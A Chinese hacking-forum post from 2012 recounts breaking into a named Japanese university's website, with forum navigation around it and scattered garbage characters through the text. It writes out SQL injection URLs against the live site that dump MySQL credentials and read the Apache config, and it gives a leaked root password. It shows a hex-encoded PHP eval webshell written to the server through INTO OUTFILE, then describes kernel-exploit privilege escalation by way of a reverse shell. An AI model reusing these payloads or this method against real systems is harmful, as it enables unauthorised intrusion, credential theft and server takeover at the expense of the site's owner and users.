找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2453|回复: 0
打印 上一主题 下一主题

入侵日本同志社大学

[复制链接]
跳转到指定楼层
楼主
发表于 2012-11-21 13:48:02 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
入侵日本同志社大学技术分析
% n& D0 ?8 f; g) [; l2 R) A) T/ s; T% B6 X  Z' o5 n; X
http://www.doshisha.ac.jp/chs/news/index.php?i=-1) E8 x, P1 J" l3 v3 Q7 N
然后联合查询,猜字段,查版本,查密码,读取文件…….就是各种查啊,语句是:% z$ x+ i+ |" X6 ]
/ C) l5 ^- Y/ W  _, `
http://www.doshisha.ac.jp/chs/news/index.php?i=-1+union+select+1,@@datadir,3,load_file(‘/etc/httpd/conf/httpd.conf’),5,group_concat(DISTINCT+user,0x3a,password,0x3a,file_priv,0x3a,host),7,8+from+mysql.user7 m! M, y, Q2 V  {
. D7 U! w) z/ |' b2 {; S: v

; C3 {! B0 l( m" Z
, d- e" `7 C  P# b+ {//@@datadir为数据库文件路径
) U$ O, l( A$ |
; c3 _, {7 Z' x+ y/ Z
9 l+ O* g6 s/ ?' O) b//load_file读取网站容器apache的配置文件
8 I4 U" l# \1 x3 m) \7 ` + D8 f6 i5 u2 W8 s+ R4 e! F* o/ b

" h6 i) b, R. K4 s' t1 r: h( A" |//group_concat读取MySQL管理员的名字、密码、是否允许读写文件和允许登录的远程计算机
% r- g7 E& Z6 L. @, u复制代码6 _; q' J$ j) m9 K# x
0 L& E. j( R+ P2 S/ p" E, ]0 o
虽然解得MySQL的root账户密码为mysql00,但是host为localhost,只允许本机登陆,所以用处不大。* r5 N$ }2 J6 C% s3 @+ g4 W
# I' l! m. E- z9 C  |5 i  M8 `" p
而且Apache的配置文件显示,服务器拒绝非该大学的ip访问/admin/和phpMyAdmin,所以即使爆出管理员账户密码也没用。
$ E% o* s& e! `9 d) n: V(大家对以上各种查和语句不太懂的可以参考以下文章:http://bbs.blackbap.org/thread-2243-1-1.html)) E- P8 p+ y: O! X* v8 c. |' V3 t
  h4 T  U+ ~% v( U' A' t
前面load_file是因为发现了各文件夹权限限制的死,不允许外校ip登陆,所以就猜了一下apache的配置文件绝对路径为默认,后来发现还真的是默认的路径。2 B) O$ `% B4 G: p# f: G3 r) N4 s
如果知道怎么猜apache配置文件的路径的请参考以下文章:http://bbs.blackbap.org/thread-2242-1-1.html4 g2 }% r3 j4 d$ e# @  x
# R, g( ]3 F( ]
既然已经知道了Apache的配置文件的内容,我们也就轻易知道了网站物理路径,路径为:/http/www/koho/
9 D6 q0 X5 {2 c4 m  t( |虽然/admin和phpMyAdmin的目录都限制了,但是想了想,我们只要有注入点就可以可以写入shell了,因为php的GPC为off,怎么判断为off我就不说了。
$ G+ f" }1 j) G4 Z" t直接写一句话:
4 \( w) x+ `+ A& r% |" X6 I( X: w( i
http://www.doshisha.ac.jp/chs/news/index.php?i=-1+union+select+ 0x3C3F70687020406576616C28245F504F53545B27636D64275D293B3F3E,0x3c3f2f2a,3,4,5,6,7,0x2a2f3f3e+into+outfile+’/http/www/koho/english/engnews_img/aa.php’#
% C' K, Y: ?. \* Q6 Y( d) W+ D5 l1 i

1 ?& b, v1 ^5 D+ ]; A8 t( ?5 U3 M( W& G9 @9 A) {" u
//最后的#是为了闭合前面的语句
4 X4 j9 F6 }! o" A
% a! Y* z; }, `( |- m
& ]% D, B/ I; n: q% z/*其中的0x3C3F70687020406576616C28245F504F53545B27636D64275D293B3F3E ; b+ ~8 A( S: |8 I+ t1 N

9 u0 x/ M" o% R5 ~; k8 }% x! J' v
! I6 K( `/ C, j# d2 _为一句话<?php @eval($_POST['cmd']);?>的HEX编码,不懂(HEX编码)的话Google一下就好*/
! O$ O9 X; L0 C: }' {% K
! o1 ~& p* N. h6 X' D4 N% X& S8 X% M2 f4 k  K& _; D
//如果直接select 一句话 into outfile ‘路径’会提示字段数不同,所以select 1,2,3,4…来执行注入语句 $ d0 E9 f! o- C3 `' Z2 [9 \

  _5 `2 R6 n. I0 |# L. w9 o
8 t( k" E1 p$ y! ]//后面的0x3c3f2f2a和0x2a2f3f3e分别为’<?php //’的和’?>’HEX因为select后面的3,4,5,6会被写入webshell中,可能会导致一句话执行错误 5 w6 x$ c+ N- o+ w* h5 v$ R! @
//所以最后aa.php的内容就是”<?php @eval($_POST['cmd']);?><?php //3,4,5,6,7 ?>” 6 D$ I2 }6 n5 d5 ^$ l
复制代码2 r3 ]) J% ^' V

* _' O  N$ J6 N! f" A$ M( E/ PHEX其实就是十六进制编码,不知道这个编码的话,去搜一下好了,HEX编码转换在线本地各种工具各种有( D; f6 l. y7 @' g
通过上述注入语句,我们就得到了一句话木马:
/ s- Z5 K% q/ f
; l: J6 j; `! ^: u + Z! z" y9 J. T2 u

: h0 s! s  F0 j+ Z( [/ S
- ]  r  v5 G) m' B* |7 ^; ^1 m7 z3 O2 O1 B6 N
http://www.doshisha.ac.jp/english/engnews_img/aa.php + Z8 q9 [8 k% @
复制代码9 v$ |+ @& U& M+ r" M

6 s& C4 [) S0 d用菜刀连接,密码是cmd,如图所示:' Q* M( o2 x* o$ D
然后在命令提示行里看了一下,现在的权限是:& J% m* I* [  I1 ]# ?* F
2 {8 h( x$ A/ \6 b2 ?: Y  c; e
之后按照惯例我看了一下/tmp/文件夹,发现/TMP/权限居然被禁掉了,很少有服务器禁掉这个文件夹的。
  X1 X3 I. v6 f9 q好在赋权给这个文件夹不需要root,直接执行赋权语句:% U  s# W/ ~* y, q0 m. b- l! r

' j  F( @/ G$ a- O7 Z2 {8 |; |; a3 r, @
5 M4 n! K6 l% t& f# j. t% b% v. z1 L( \8 U0 ]. \: B7 W
3 ^* C" z; S. b- y9 S. ]: v

0 G$ J4 c+ W9 E- i! E+ t3 N. qchmod +x /tmp/ 1 @+ y# j8 S- Z3 [1 A. w
复制代码
3 \- I5 D* u1 q( ?. N3 c" t5 r" s3 J! h
在这说一下,linux里面的文件夹跟文件一样,执行命令自然也可以按照像文件一样的执行% w. o6 H5 C) d! G( M* p9 M) P4 G, P
然后就查了一下内核版本:7 X! G  ~4 s, l7 s4 ?8 X: |
( K% s8 w9 T$ ^" A* F! `

% e' r0 L( J0 ~0 e  Z8 g! U5 r$ o  U. v/ S. l: `: L: A

! ~; h4 I) c& O  f5 M
  p" ~: \$ _$ b4 ^& h1 Q/ p% Xuname-a
1 l: X% r7 v. Y4 ]
" ?' q" }; l/ z  G7 e' |4 H: X: ]
+ G6 ]% R9 o# u2 r- A//其实lsb_release -a
8 R2 `' V4 I! Y! @. {复制代码
( u# j$ I" y7 n! r9 z2 ~7 W- N  J
0 u, K4 R$ b/ r/ N如图所示:
; Y( n5 [( I5 [  O
0 S& Y; _4 t$ v- ]  K& S内核版本:linux mainz1 2.6.28-194.e150 d+ a, `, r; \0 C# J5 y0 M5 n
系统描述为:Red Hat Enterprise Linux Server release 5.5 (Tikanga)
! i5 t1 \/ @& Y. C查完了系统版本之后就去找找相应的提权脚本!~然后传到/tmp/文件夹' D8 P# v% X8 n* K  h" |3 a
* z- w  S) L% o. [, }8 ?
然后给予执行权限) q) X' k, D: S
一般我都是传上去c源文件,然后”gcc -o /tmp/程序 /tmp/C源码”这样,如果gcc不能用,在其他机器编译好了直接传上去其实也可以,就像这样
$ `; s+ l& \( e
3 v- i: ?; b% [' Q
5 x% o% U" a. |' I8 K# W( e! P
; w4 r# e  ~: A
9 s  P  a8 v$ D0 p* w2 h; q% J: P( O
# c* I4 T4 c% D# Qchmod +x /tmp/2.6.18-194
( I9 O8 J: W7 {8 E) f4 L$ g8 h复制代码 然后直接执行!~
8 \4 ~) z5 i# ?1 }: r7 T
) ?: }+ H9 }" S# }总结:
9 I; d' d  Y0 P8 ]1 Z8 I5 i* R这个注入点的基本思路就是,发现MySQL账户为root,GPC设置为off,搞到了物理路径就直接写Webshell了
. D9 O* q$ t  i9 s提权部分原理就是,本地监听端口,将对方机器反弹回cmdshell来,然后把和内核版本对应的EXP传上去,编译运行,得到root
1 G1 @* G; r7 x( `0 M! Z& k9 f" ?" m# M& _' {4 q, R
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表